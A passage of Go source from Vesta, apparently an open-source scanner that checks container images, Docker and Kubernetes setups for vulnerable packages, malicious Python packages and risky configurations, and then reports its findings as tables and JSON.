continue
}
configMatch := configReg.FindStringSubmatch(t.Param)
configName := strings.TrimSpace(configMatch[1])
namespace := strings.TrimSpace(configMatch[2])
if configName == name && namespace == ns {
th = t
th.Type = "Sidecar EnvFrom"
th.Describe = "Sidecar envFrom " + th.Describe
vuln = true
break
}
}
return vuln, th
}
func (ks *KScanner) getPodFromLabels(ns string, matchLabels map[string]string) v1.Pod {
p := v1.Pod{}
for k, v := range matchLabels {
targetPod, err := ks.KClient.
CoreV1().
Pods(ns).
List(context.TODO(),
metav1.ListOptions{
LabelSelector: fmt.Sprintf("%s=%s", k, v),
})
if err != nil {
continue
}
if len(targetPod.Items) > 0 {
p = targetPod.Items[0]
break
}
}
return p
}
// addExtraPod which in the white list namespace
func (ks *KScanner) addExtraPod(ns string, p v1.Pod, vList []*threat) {
isChecked := false
for _, vulnPod := range ks.VulnContainers {
if vulnPod.ContainerName == p.Name &&
vulnPod.Namepsace == ns {
isChecked = true
break
}
}
if !isChecked && p.Name != "" {
sortSeverity(vList)
c := &container{
ContainerName: p.Name,
Namepsace: ns,
Status: string(p.Status.Phase),
NodeName: p.Spec.NodeName,
Threats: vList,
}
ks.VulnContainers = append(ks.VulnContainers, c)
}
}
// prunePod assesses whether a pod need to check if namespace of pod in white list
func (ks *KScanner) prunePod(ns, podName string) (bool, error) {
pods, err := ks.KClient.
CoreV1().
Pods(ns).
List(context.TODO(), metav1.ListOptions{})
if err != nil {
return false, err
}
type PodStatus struct {
Age float64
Restarts int
}
p := PodStatus{}
podNumber := len(pods.Items)
ageWeight := make([]float64, podNumber-1)
restartWeight := make([]int, podNumber-1)
index := 0
for _, pod := range pods.Items {
if len(pod.Status.ContainerStatuses) < 1 {
continue
}
age := time.Since(pod.CreationTimestamp.Time)
restarts := pod.Status.ContainerStatuses[0].RestartCount
if pod.Name == podName {
p.Age = math.Round(age.Hours())
p.Restarts = int(restarts)
continue
}
ageWeight[index] = math.Round(age.Hours())
restartWeight[index] = int(restarts)
index += 1
}
sort.Float64s(ageWeight)
sort.Ints(restartWeight)
ageDeviation := standardDeviation[float64](ageWeight)
restartDeviation := math.Sqrt(standardDeviation[int](restartWeight))
ageCount := map[float64]int{}
restartCount := map[int]int{}
for i := 0; i < podNumber-1; i++ {
age := ageWeight[i]
restarts := restartWeight[i]
if _, ok := ageCount[age]; ok {
ageCount[age] += 1
} else {
ageCount[age] = 1
}
if _, ok := restartCount[restarts]; ok {
restartCount[restarts] += 1
} else {
restartCount[restarts] = 1
}
}
score := 0.0
for number, count := range ageCount {
if math.Abs(p.Age-number) > ageDeviation {
score = math.Max(score, float64(count)/float64(podNumber-1))
}
}
// compare to the oldest operation
score += 0.2 * math.Abs(float64(p.Age)-ageWeight[podNumber-2]) / (ageWeight[podNumber-2] / 960)
rscore := 0.0
for number, count := range restartCount {
if math.Abs(float64(p.Restarts-number)) > restartDeviation {
rscore = math.Max(rscore, float64(count)/float64(podNumber-1))
}
}
score += rscore
if score < 0.7 {
return true, nil
}
return false, nil
}
================================================
FILE: internal/encode.go
================================================
package internal
import (
"math/rand"
"time"
)
func RandomString() string {
rand.Seed(time.Now().UnixNano())
charset := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
b := make([]rune, 32)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}
================================================
FILE: internal/extract.go
================================================
package internal
import (
"archive/tar"
"context"
"io"
"log"
"os"
"path/filepath"
"github.com/kvesta/vesta/pkg"
"github.com/kvesta/vesta/pkg/layer"
)
func exists(path string) bool {
_, err := os.Stat(path)
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
// mkFolder get current path and create a temp folder
func mkFolder(foldername string) string {
pwd, _ := os.Getwd()
tempFolder := filepath.Join(pwd, foldername)
if !exists(tempFolder) {
os.MkdirAll(tempFolder, os.FileMode(0755))
}
return tempFolder
}
// Extract layers from inspector tar
func Extract(ctx context.Context, tarPath string, tarIO []io.ReadCloser) (*layer.Manifest, error) {
var tarReader *tar.Reader
tempPath := mkFolder(RandomString())
if tarIO == nil {
image, err := os.Open(tarPath)
if err != nil {
return nil, err
}
defer image.Close()
tarReader = tar.NewReader(image)
} else {
tarReader = tar.NewReader(tarIO[0])
}
// command `docker export` will generate a single file system
// just return the directory
if ctx.Value("tarType") == "container" {
err := pkg.Walk(tarReader, tempPath)
if err != nil {
log.Printf("extract tar file failed: %v", err)
}
// Get mount path
if len(tarIO) > 1 {
for _, mio := range tarIO[1:] {
tarReader = tar.NewReader(mio)
err = pkg.Walk(tarReader, tempPath)
if err != nil {
log.Printf("decompress mount path failed, error: %v", err)
continue
}
}
}
img := &layer.Manifest{
Localpath: tempPath,
Hash: "container",
}
return img, nil
}
// need temp folder path to get layer.tar
img, err := Inspect(ctx, tempPath, tarReader)
if err != nil {
log.Printf("Getting layers failed")
return nil, err
}
// integrate all layers
for _, l := range img.Layers {
err := l.Integration(tempPath, l.Hash)
if err != nil {
continue
}
}
return img, nil
}
================================================
FILE: internal/inspect.go
================================================
package internal
import (
"archive/tar"
"context"
"github.com/kvesta/vesta/pkg/layer"
)
// Inspect get inspector struct
func Inspect(ctx context.Context, tempPath string, tarReader *tar.Reader) (*layer.Manifest, error) {
image := layer.Manifest{}
if err := image.GetLayers(ctx, tarReader, tempPath); err != nil {
return nil, err
}
image.Localpath = tempPath
return &image, nil
}
================================================
FILE: internal/report/files.go
================================================
package report
import (
"context"
"fmt"
"io/ioutil"
"log"
"os"
"path/filepath"
"time"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal/analyzer"
"github.com/kvesta/vesta/internal/vulnscan"
"k8s.io/apimachinery/pkg/util/json"
)
func exists(path string) bool {
_, err := os.Stat(path)
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
func getOutputFile(ctx context.Context) (string, error) {
outfile := ctx.Value("output").(string)
if outfile == "output" {
pwd, _ := os.Getwd()
folder := filepath.Join(pwd, "output")
if !exists(folder) {
err := os.MkdirAll(folder, os.FileMode(0755))
if err != nil {
return "", err
}
}
nowStamp := time.Now().Format("2006-01-02")
file := filepath.Join(folder, fmt.Sprintf("%s.json", nowStamp))
return file, nil
} else {
folder := filepath.Dir(outfile)
if !exists(folder) {
err := os.MkdirAll(folder, os.FileMode(0755))
if err != nil {
return "", err
}
}
return outfile, nil
}
}
func ScanToJson(ctx context.Context, r vulnscan.Scanner) error {
filename, err := getOutputFile(ctx)
if err != nil {
return err
}
data, err := json.Marshal(r.Vulns)
if err != nil {
return err
}
err = ioutil.WriteFile(filename, data, 0644)
if err != nil {
return err
}
fmt.Printf("\n")
log.Printf("Output file is saved in: %s", config.Yellow(filename))
return nil
}
func AnalyzeDockerToJson(ctx context.Context, r analyzer.Scanner) error {
filename, err := getOutputFile(ctx)
if err != nil {
return err
}
data, err := json.Marshal(r.VulnContainers)
if err != nil {
return err
}
err = ioutil.WriteFile(filename, data, 0644)
if err != nil {
return err
}
fmt.Printf("\n")
log.Printf("Output file is saved in: %s", config.Yellow(filename))
return nil
}
func AnalyzeKubernetesToJson(ctx context.Context, r analyzer.KScanner) error {
filename, err := getOutputFile(ctx)
if err != nil {
return err
}
var f *os.File
if !exists(filename) {
f, err = os.Create(filename)
} else {
f, err = os.OpenFile(filename, os.O_WRONLY, 0644)
}
if err != nil {
return err
}
defer f.Close()
dataPods, err := json.Marshal(r.VulnContainers)
if err != nil {
return err
}
_, err = f.Write(dataPods)
if err != nil {
return err
}
dataConfig, err := json.Marshal(r.VulnConfigures)
_, err = f.Write(dataConfig)
if err != nil {
return err
}
fmt.Printf("\n")
log.Printf("Output file is saved in: %s", config.Yellow(filename))
return nil
}
================================================
FILE: internal/report/output.go
================================================
package report
import (
"context"
"fmt"
"os"
"strconv"
"strings"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal/analyzer"
"github.com/kvesta/vesta/internal/vulnscan"
"github.com/olekukonko/tablewriter"
)
// ResolveAnalysisData print the result of image scan
func ResolveAnalysisData(ctx context.Context, r vulnscan.Scanner) error {
critical, high, medium, low := 0, 0, 0, 0
for _, c := range r.Vulns {
switch strings.ToLower(c.Level) {
case "critical":
critical += 1
case "high":
high += 1
case "medium":
medium += 1
case "low":
low += 1
default:
// ignore
}
}
fmt.Printf("\nDetected %s vulnerabilities | "+
"Critical: %s High: %s Medium: %s Low: %s\n\n",
config.Yellow(len(r.Vulns)),
config.Red(critical),
config.Pink(high),
config.Yellow(medium),
config.Green(low))
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"ID", "Name", "Current/Vulnerable Version", "CVEID", "Score", "Level", "Description"})
table.SetRowLine(true)
table.SetAutoMergeCellsByColumnIndex([]int{1})
var Des string
var currentType = "System"
for i, c := range r.Vulns {
if c.Type != currentType {
table.Render()
table.ClearRows()
currentType = c.Type
fmt.Printf("\n\n%s:\n", c.Type)
}
scroe := fmt.Sprintf("%.1f", c.Score)
// Limit the length of description
if len(c.Desc) > 200 {
Des = c.Desc[:200] + " ..."
} else {
Des = c.Desc
}
vulnData := []string{
strconv.Itoa(i + 1), c.Name,
fmt.Sprintf("%s / %s", c.CurrentVersion, c.VulnerableVersion),
c.CVEID, scroe, judgeSeverity(c.Level), Des,
}
table.Append(vulnData)
}
table.Render()
return nil
}
// ResolveDockerData print the result of analyze by docker
func ResolveDockerData(ctx context.Context, r analyzer.Scanner) error {
critical, high, medium, low := 0, 0, 0, 0
for _, c := range r.VulnContainers {
for _, v := range c.Threats {
switch strings.ToLower(v.Severity) {
case "critical":
critical += 1
case "high":
high += 1
case "medium":
medium += 1
case "low":
low += 1
default:
// ignore
}
}
}
fmt.Printf("\nDetected %s vulnerabilities | "+
"Critical: %s High: %s Medium: %s Low: %s\n\n",
config.Yellow(len(r.VulnContainers)),
config.Red(critical),
config.Pink(high),
config.Yellow(medium),
config.Green(low))
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"ID", "Container Detail", "Param",
"Value", "Severity", "Description"})
table.SetRowLine(true)
table.SetAutoMergeCellsByColumnIndex([]int{0, 1})
for i, c := range r.VulnContainers {
for _, v := range c.Threats {
vulnData := []string{strconv.Itoa(i + 1),
fmt.Sprintf("Name: %s \nID: %s", c.ContainerName, c.ContainerID),
v.Param, v.Value, judgeSeverity(v.Severity), v.Describe,
}
table.Append(vulnData)
}
}
table.Render()
return nil
}
// ResolveKuberData print the result of analyze by kubernetes
func ResolveKuberData(ctx context.Context, r analyzer.KScanner) error {
// Report pod condition
critical, high, medium, low, warning := 0, 0, 0, 0, 0
for _, c := range r.VulnContainers {
for _, v := range c.Threats {
switch strings.ToLower(v.Severity) {
case "critical":
critical += 1
case "high":
high += 1
case "medium":
medium += 1
case "low":
low += 1
case "warning":
warning += 1
default:
// ignore
}
}
}
for _, v := range r.VulnConfigures {
switch strings.ToLower(v.Severity) {
case "critical":
critical += 1
case "high":
high += 1
case "medium":
medium += 1
case "low":
low += 1
case "warning":
warning += 1
default:
// ignore
}
}
fmt.Printf("\nDetected %s vulnerabilities | "+
"Critical: %s High: %s Medium: %s Low: %s Warning: %d\n\n",
config.Yellow(len(r.VulnContainers)+len(r.VulnConfigures)),
config.Red(critical),
config.Pink(high),
config.Yellow(medium),
config.Green(low),
warning)
if len(r.VulnContainers)+len(r.VulnConfigures) == 0 {
return nil
}
fmt.Printf("Pods:\n")
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"ID", "Pod Detail", "Param", "Value",
"Type", "Severity", "Description"})
table.SetRowLine(true)
table.SetAutoMergeCellsByColumnIndex([]int{0, 1})
for i, p := range r.VulnContainers {
for _, v := range p.Threats {
nodeName := ""
if r.MasterNodes[p.NodeName] != nil && r.MasterNodes[p.NodeName].IsMaster {
nodeName = fmt.Sprintf("%s (%s)",
p.NodeName, config.Red("Master"))
} else {
nodeName = p.NodeName
}
vulnData := []string{
strconv.Itoa(i + 1), fmt.Sprintf("Name: %s | "+
"Namespace: %s | "+
"Status: %s | "+
"Node Name: %s", p.ContainerName, p.Namepsace,
p.Status, nodeName),
v.Param, v.Value, v.Type,
judgeSeverity(v.Severity), v.Describe,
}
table.Append(vulnData)
}
}
table.Render()
fmt.Printf("\nConfigures:\n")
table = tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"ID", "Type", "Param", "Value",
"Severity", "Description"})
table.SetRowLine(true)
table.SetAutoMergeCellsByColumnIndex([]int{1})
for i, c := range r.VulnConfigures {
vulnData := []string{strconv.Itoa(i + 1), c.Type, c.Param,
c.Value, judgeSeverity(c.Severity), c.Describe}
table.Append(vulnData)
}
table.Render()
return nil
}
func judgeSeverity(severity string) string {
severityLow := strings.ToLower(severity)
switch severityLow {
case "critical":
return config.Red("critical")
case "high":
return config.Pink("high")
case "medium":
return config.Yellow("medium")
case "low":
return config.Green("low")
case "warning":
return "warning"
default:
// ignore
}
return "unknown"
}
================================================
FILE: internal/scanner.go
================================================
package internal
import (
"github.com/kvesta/vesta/internal/analyzer"
"github.com/kvesta/vesta/internal/vulnscan"
"github.com/kvesta/vesta/pkg/layer"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/packages"
)
type Vuln struct {
Scan vulnscan.Scanner
// get layer information
Mani *layer.Manifest
// get os release
OsRelease *osrelease.OsVersion
// list all installed packages
Packs *packages.Packages
}
type Inpsectors struct {
Scan analyzer.Scanner
Kscan analyzer.KScanner
}
================================================
FILE: internal/utils.go
================================================
package internal
import (
"context"
"io"
"log"
"os"
"path/filepath"
"sync"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal/report"
"github.com/kvesta/vesta/pkg/inspector"
"github.com/kvesta/vesta/pkg/layer"
"github.com/kvesta/vesta/pkg/osrelease"
"github.com/kvesta/vesta/pkg/packages"
"github.com/kvesta/vesta/pkg/vulnlib"
"github.com/docker/docker/client"
"k8s.io/client-go/kubernetes"
restclient "k8s.io/client-go/rest"
"k8s.io/client-go/tools/clientcmd"
"k8s.io/client-go/util/homedir"
)
func DoScan(ctx context.Context, tarFile string, tarIO []io.ReadCloser) {
var wg sync.WaitGroup
var m *layer.Manifest
// Get vulnerability database
if !ctx.Value("skip").(bool) {
err := vulnlib.Fetch(ctx)
if err != nil {
log.Printf("failed to get vulnerability database")
}
}
if ctx.Value("tarType").(string) != "filesystem" {
log.Printf(config.Green("Begin to analyze the layer"))
// Extract tar file to local folder
var err error
m, err = Extract(ctx, tarFile, tarIO)
if err != nil {
log.Printf("Extract container failed, error: %v\n"+
"\tTips: try to use the container scan", err)
return
}
} else {
// Use path directly
m = &layer.Manifest{
Localpath: tarFile,
}
}
osVersion, err := osrelease.DetectOs(ctx, *m)
log.Printf("Detect OS: %s", osVersion.OID)
vulns := &Vuln{
OsRelease: osVersion,
Mani: m,
Packs: &packages.Packages{
Mani: *m,
OsRelease: *osVersion,
},
}
packs := vulns.Packs
err = packs.GetApp(ctx)
if err != nil {
log.Printf("package error %v", err)
}
scanner := vulns.Scan
err = scanner.Scan(ctx, m, packs)
if err != nil {
log.Printf("scan error %v", err)
}
if ctx.Value("tarType").(string) == "filesystem" {
goto rep
}
go func() {
wg.Add(1)
defer wg.Done()
if len(tarIO) > 0 {
for _, f := range tarIO {
f.Close()
}
}
// Check directory is legal
pwd, err := os.Getwd()
if err != nil {
log.Printf("failed to remove %s : %v", m.Localpath, err)
}
if pwd == m.Localpath {
return
}
err = os.RemoveAll(m.Localpath)
if err != nil {
log.Printf("failed to remove %s : %v", m.Localpath, err)
}
}()
rep:
err = report.ResolveAnalysisData(ctx, scanner)
if err != nil {
log.Printf("report error %v", err)
}
err = report.ScanToJson(ctx, scanner)
if err != nil {
log.Printf("saving error %v", err)
}
wg.Wait()
}
// DoInspectInDocker inspect docker configure
func DoInspectInDocker(ctx context.Context) {
log.Printf(config.Green("Start analysing"))
cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
if err != nil {
log.Printf("Cannot initialized docker environment, error: %v", err)
return
}
c := inspector.DockerApi{
DCli: cli,
}
engineVersion, err := c.GetEngineVersion(ctx)
if err != nil {
log.Printf("Cannot get engine version, error: %v", err)
}
serverVersion, err := c.GetDockerServerVersion(ctx)
if err != nil {
log.Printf("Cannot get server version, error: %v", err)
}
inspects := &Inpsectors{}
scanner := inspects.Scan
scanner.DApi = c
scanner.EngineVersion = engineVersion
scanner.ServerVersion = serverVersion
err = scanner.Analyze(ctx)
if err != nil {
log.Printf("Snalyze error %v", err)
return
}
err = report.ResolveDockerData(ctx, scanner)
if err != nil {
log.Printf("Report error %v", err)
}
err = report.AnalyzeDockerToJson(ctx, scanner)
if err != nil {
log.Printf("Saving error %v", err)
}
}
// DoInspectInKubernetes inspect kubernetes' configure
func DoInspectInKubernetes(ctx context.Context) {
log.Printf(config.Green("Start analysing"))
var kubeconfig string
var kconfig *restclient.Config
var err error
const tokenFile = "/var/run/secrets/kubernetes.io/serviceaccount/token"
// Checking whether inside a pod
if _, err := os.Stat(tokenFile); os.IsNotExist(err) {
ctx = context.WithValue(ctx, "inside", false)
} else {
ctx = context.WithValue(ctx, "inside", true)
}
if ctx.Value("kubeconfig") != "default" {
kubeconfig = ctx.Value("kubeconfig").(string)
} else if home := homedir.HomeDir(); home != "" {
if exists(filepath.Join(home, ".kube", "config")) {
kubeconfig = filepath.Join(home, ".kube", "config")
} else if exists("/etc/rancher/k3s/k3s.yaml") {
// for k3s
kubeconfig = "/etc/rancher/k3s/k3s.yaml"
} else if exists("/etc/k0s/k0s.yaml") {
// for k0s
kubeconfig = "/etc/k0s/k0s.yaml"
}
} else {
// use original config of kubernetes
if exists("/etc/kubernetes/config/admin.conf") {
kubeconfig = "/etc/kubernetes/config/admin.conf"
} else if exists("/etc/rancher/k3s/k3s.yaml") {
kubeconfig = "/etc/rancher/k3s/k3s.yaml"
} else if exists("/etc/k0s/k0s.yaml") {
kubeconfig = "/etc/k0s/k0s.yaml"
}
}
// Set the server host if exist
if host := ctx.Value("server").(string); host != "" {
kconfig, err = clientcmd.BuildConfigFromFlags(host, kubeconfig)
} else {
kconfig, err = clientcmd.BuildConfigFromFlags("", kubeconfig)
}
// Set the insecure method
if ctx.Value("insecure").(bool) {
kconfig.Insecure = true
}
// Authenticate with token
if BearerToken := ctx.Value("token").(string); BearerToken != "" {
kconfig.BearerToken = BearerToken
}
if err != nil {
log.Printf("Cannot initialize kubernetes environment, error: %v", err)
return
}
clientset, err := kubernetes.NewForConfig(kconfig)
if err != nil {
log.Printf("Cannot get all kubernetes inpector, error: %v", err)
}
inspects := &Inpsectors{}
scanner := inspects.Kscan
scanner.KClient = clientset
scanner.KConfig = kconfig
err = scanner.Kanalyze(ctx)
if err != nil {
log.Printf("Analyze error")
}
err = report.ResolveKuberData(ctx, scanner)
if err != nil {
log.Printf("Report error %v", err)
}
err = report.AnalyzeKubernetesToJson(ctx, scanner)
if err != nil {
log.Printf("Saving error %v", err)
}
}
================================================
FILE: internal/vulnscan/scanner.go
================================================
package vulnscan
import (
"github.com/kvesta/vesta/pkg/packages"
"github.com/kvesta/vesta/pkg/vulnlib"
)
type Scanner struct {
Vulnerabilities int
Vulns []*vulnComponent
VulnDB vulnlib.Client
VulnPacks packages.Packages
}
type vulnComponent struct {
Name string
CurrentVersion string
Type string
CVEID string
VulnerableVersion string
Level string
PublishDate string
Desc string
Score float64
}
================================================
FILE: internal/vulnscan/utils.go
================================================
package vulnscan
import (
"io/fs"
"io/ioutil"
"os"
"path/filepath"
"sort"
"strings"
"github.com/kvesta/vesta/config"
)
func sortSeverity(vulnComponents []*vulnComponent) {
sort.Slice(vulnComponents, func(i, j int) bool {
return config.SeverityMap[strings.ToLower(vulnComponents[i].Level)] > config.SeverityMap[strings.ToLower(vulnComponents[j].Level)]
})
}
func exists(path string) bool {
_, err := os.Stat(path)
if err != nil {
if os.IsExist(err) {
return true
}
return false
}
return true
}
func listPythonSitePack(sitePath string) []string {
targetPaths := []string{}
fsys := os.DirFS(sitePath)
if err := fs.WalkDir(fsys, ".", func(path string, d fs.DirEntry, err error) error {
switch {
case err != nil:
return err
case d.IsDir():
return nil
}
if filepath.Base(path) == "setup.py" || filepath.Base(path) == "__init__.py" {
targetPaths = append(targetPaths, path)
}
return nil
}); err != nil {
return targetPaths
}
return targetPaths
}
func listPythonPth(sitePath string) []string {
targetPaths := []string{}
files, err := ioutil.ReadDir(sitePath)
if err != nil {
return targetPaths
}
for _, file := range files {
if file.IsDir() {
continue
}
if filepath.Ext(file.Name()) == ".pth" {
targetPaths = append(targetPaths, file.Name())
}
}
return targetPaths
}
================================================
FILE: internal/vulnscan/vuln.go
================================================
package vulnscan
import (
"bufio"
"context"
"fmt"
"log"
"os"
"path/filepath"
"strings"
"github.com/kvesta/vesta/config"
"github.com/kvesta/vesta/internal/analyzer"
"github.com/kvesta/vesta/pkg/layer"
"github.com/kvesta/vesta/pkg/match"
"github.com/kvesta/vesta/pkg/packages"
"github.com/kvesta/vesta/pkg/vulnlib"
version2 "github.com/hashicorp/go-version"
rpmversion "github.com/knqyf263/go-rpm-version"
)
func (ps *Scanner) Scan(ctx context.Context, m *layer.Manifest, p *packages.Packages) error {
log.Printf(config.Green("Begin to scan the layer"))
err := ps.VulnDB.Init()
if err != nil {
log.Printf("failed to fetch database")
return err
}
defer ps.VulnDB.DB.Close()
err = ps.checkPackageVersion(ctx, p.Packs, p.OsRelease.OID)
if err != nil {
log.Printf("failed to check package's version")
}
err = ps.checkPythonModule(ctx, p.PythonPacks, m)
if err != nil {
log.Printf("failed to check python module")
}
err = ps.checkNpmModule(ctx, p.NodePacks)
if err != nil {
log.Printf("failed to check node module")
}
err = ps.checkGoMod(ctx, p.GOPacks)
if err != nil {
log.Printf("failed to check go mod")
}
err = ps.checkJavaPacks(ctx, p.JavaPacks)
if err != nil {
log.Printf("failed to check go mod")
}
err = ps.checkPHPPacks(ctx, p.PHPPacks)
if err != nil {
log.Printf("failed to check php packs")
}
err = ps.checkRustPacks(ctx, p.RustPacks)
if err != nil {
log.Printf("failed to check rust packs")
}
err = ps.getOthers(ctx, p.Others)
if err != nil {
log.Printf("failed to get others packages")
}
err = ps.checkPassword(ctx, m)
if err != nil {
log.Printf("failed to check /etc/passwd")
}
// Check the image history if exist
if ok, tlist := analyzer.CheckHistories(m.Histories); ok {
historyVuln := []*vulnComponent{}
for _, t := range tlist {
vuln := &vulnComponent{
Name: t.Param,
Level: t.Severity,
CVEID: "-",
Desc: t.Describe,
Score: 0.0,
CurrentVersion: "-",
Type: "Docker Histories",
VulnerableVersion: "-",
}
historyVuln = append(historyVuln, vuln)
}
sortSeverity(historyVuln)
ps.Vulns = append(ps.Vulns, historyVuln...)
}
return err
}
func getInfo(row *vulnlib.DBRow, version, packType string) *vulnComponent {
vuln := &vulnComponent{
Level: row.Level,
CVEID: row.CVEID,
Desc: row.Description,
PublishDate: row.PublishDate,
Score: row.Score,
CurrentVersion: version,
Type: packType,
}
if strings.HasPrefix(row.MaxVersion, "=") {
vuln.VulnerableVersion = "<=" + row.MaxVersion[1:]
} else {
vuln.VulnerableVersion = "<" + row.MaxVersion
}
return vuln
}
func compareVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) ([]*vulnComponent, bool) {
var isVulnerable = false
vulns := []*vulnComponent{}
for _, row := range rows {
// Skip same name which from different component
skip := true
for _, c := range cp {
if c == row.Component {
skip = false
}
}
if skip {
continue
}
currentVersion, err := version2.NewVersion(cv)
if err != nil {
continue
}
if row.MaxVersion == "*" {
continue
}
if strings.Contains(row.MaxVersion, "=") {
vulnMaxVersion, err := version2.NewVersion(row.MaxVersion[1:])
if err != nil {
continue
}
if strings.Contains(row.MinVersion, "=") {
vulnMinVersion, err := version2.NewVersion(row.MinVersion[1:])
if err != nil {
continue
}
if currentVersion.Compare(vulnMaxVersion) <= 0 &&
currentVersion.Compare(vulnMinVersion) >= 0 {
vuln := getInfo(row, currentVersion.String(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
} else {
vulnMinVersion, err := version2.NewVersion(row.MinVersion)
if err != nil {
continue
}
if currentVersion.Compare(vulnMaxVersion) <= 0 &&
currentVersion.Compare(vulnMinVersion) > 0 {
vuln := getInfo(row, currentVersion.String(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
}
} else {
vulnMaxVersion, err := version2.NewVersion(row.MaxVersion)
if err != nil {
continue
}
if strings.Contains(row.MinVersion, "=") {
vulnMinVersion, err := version2.NewVersion(row.MinVersion[1:])
if err != nil {
continue
}
if currentVersion.Compare(vulnMaxVersion) < 0 &&
currentVersion.Compare(vulnMinVersion) >= 0 {
vuln := getInfo(row, currentVersion.String(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
} else {
vulnMinVersion, err := version2.NewVersion(row.MinVersion)
if err != nil {
continue
}
if currentVersion.Compare(vulnMaxVersion) < 0 &&
currentVersion.Compare(vulnMinVersion) > 0 {
vuln := getInfo(row, currentVersion.String(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
}
}
}
return vulns, isVulnerable
}
func compareRpmVersion(rows []*vulnlib.DBRow, cv, ty string, cp []string) ([]*vulnComponent, bool) {
var isVulnerable = false
vulns := []*vulnComponent{}
for _, row := range rows {
// Skip same name which from different component
skip := true
for _, c := range cp {
if c == row.Component {
skip = false
}
}
if skip {
continue
}
currentVersion := rpmversion.NewVersion(cv)
if row.MaxVersion == "*" {
continue
}
if strings.Contains(row.MaxVersion, "=") {
vulnMaxVersion := rpmversion.NewVersion(row.MaxVersion[1:])
if strings.Contains(row.MinVersion, "=") {
vulnMinVersion := rpmversion.NewVersion(row.MinVersion[1:])
if currentVersion.Compare(vulnMaxVersion) <= 0 &&
currentVersion.Compare(vulnMinVersion) >= 0 {
vuln := getInfo(row, currentVersion.Version(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
} else {
vulnMinVersion := rpmversion.NewVersion(row.MinVersion)
if currentVersion.Compare(vulnMaxVersion) <= 0 &&
currentVersion.Compare(vulnMinVersion) > 0 {
vuln := getInfo(row, currentVersion.Version(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
}
} else {
vulnMaxVersion := rpmversion.NewVersion(row.MaxVersion)
if strings.Contains(row.MinVersion, "=") {
vulnMinVersion := rpmversion.NewVersion(row.MinVersion[1:])
if currentVersion.Compare(vulnMaxVersion) < 0 &&
currentVersion.Compare(vulnMinVersion) >= 0 {
vuln := getInfo(row, currentVersion.String(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
} else {
vulnMinVersion := rpmversion.NewVersion(row.MinVersion)
if currentVersion.Compare(vulnMaxVersion) < 0 &&
currentVersion.Compare(vulnMinVersion) > 0 {
vuln := getInfo(row, currentVersion.String(), ty)
vulns = append(vulns, vuln)
isVulnerable = true
}
}
}
}
return vulns, isVulnerable
}
func (ps *Scanner) checkPythonModule(ctx context.Context, pys []*packages.Python, m *layer.Manifest) error {
pyVuln := []*vulnComponent{}
for _, py := range pys {
// Check the pth file in site-packages
// reference: https://github.com/kvesta/vesta/wiki/Backdoor-Detection
sitePackagePath := filepath.Join(m.Localpath, py.SitePath)
for _, p := range listPythonPth(sitePackagePath) {
filename := filepath.Join(sitePackagePath, p)
if sus := match.PyMalwareScan(filename); sus.Types != 0 {
vuln := &vulnComponent{
Name: fmt.Sprintf("%s - %s", py.Version, py.SitePath),
Level: "high",
Score: 9.5,
Type: "Python",
CurrentVersion: py.Version,
VulnerableVersion: "-",
Desc: fmt.Sprintf("Malicious package is detected in '%s', "+
"%s", strings.TrimPrefix(filename, m.Localpath),
sus.OriginPack),
}
pyVuln = append(pyVuln, vuln)
}
}
for _, si := range py.SitePacks {
// Get setup.py of python package
sites := filepath.Join(m.Localpath, py.SitePath, si.Name)
if py.SitePath == "poetry" {
goto checkVersion
}
for _, p := range listPythonSitePack(sites) {
filename := filepath.Join(sites, p)
if sus := match.PyMalwareScan(filename); sus.Types != 0 {
vuln := &vulnComponent{
Name: fmt.Sprintf("%s - %s", py.Version, si.Name),
Level: "high",
Score: 8.5,
Type: "Python",
CurrentVersion: si.Version,
VulnerableVersion: "-",
Desc: fmt.Sprintf("Malicious package is detected in '%s', "+
"%s", strings.TrimPrefix(filename, m.Localpath),
sus.OriginPack),
}
pyVuln = append(pyVuln, vuln)
goto checkVersion
}
}
checkVersion:
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(si.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, si.Version, "Python", []string{"*", "python"}); vuln {
for _, v := range vs {
v.Name = fmt.Sprintf("%s - %s", py.Version, si.Name)
}
sortSeverity(vs)
pyVuln = append(pyVuln, vs...)
}
if sus := match.PyMatch(si.Name); sus.Types != 0 {
vuln := &vulnComponent{
Name: fmt.Sprintf("%s - %s", py.Version, si.Name),
Level: "medium",
Score: 7.5,
Type: "Python",
CurrentVersion: si.Version,
VulnerableVersion: "-",
}
switch sus.Types {
case 1:
vuln.Desc = fmt.Sprintf("Suspicious malicious package, "+
"compared name: %s", sus.OriginPack)
case 2:
vuln.Desc = fmt.Sprintf("Detect the pypi malware,"+
"origin package name is: %s", sus.OriginPack)
default:
// ignore
}
pyVuln = append(pyVuln, vuln)
}
}
}
ps.Vulns = append(ps.Vulns, pyVuln...)
return nil
}
func (ps *Scanner) checkNpmModule(ctx context.Context, nodes []*packages.Node) error {
npmVuln := []*vulnComponent{}
for _, node := range nodes {
for _, npm := range node.NPMS {
rows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(npm.Name))
if err != nil {
continue
}
if vs, vuln := compareVersion(rows, npm.Version, "Node", []string{"node.js"}); vuln {
for _, v := range vs {
v.Name = fmt.Sprintf("%s - %s", node.Version, npm.Name)
}
sortSeverity(vs)
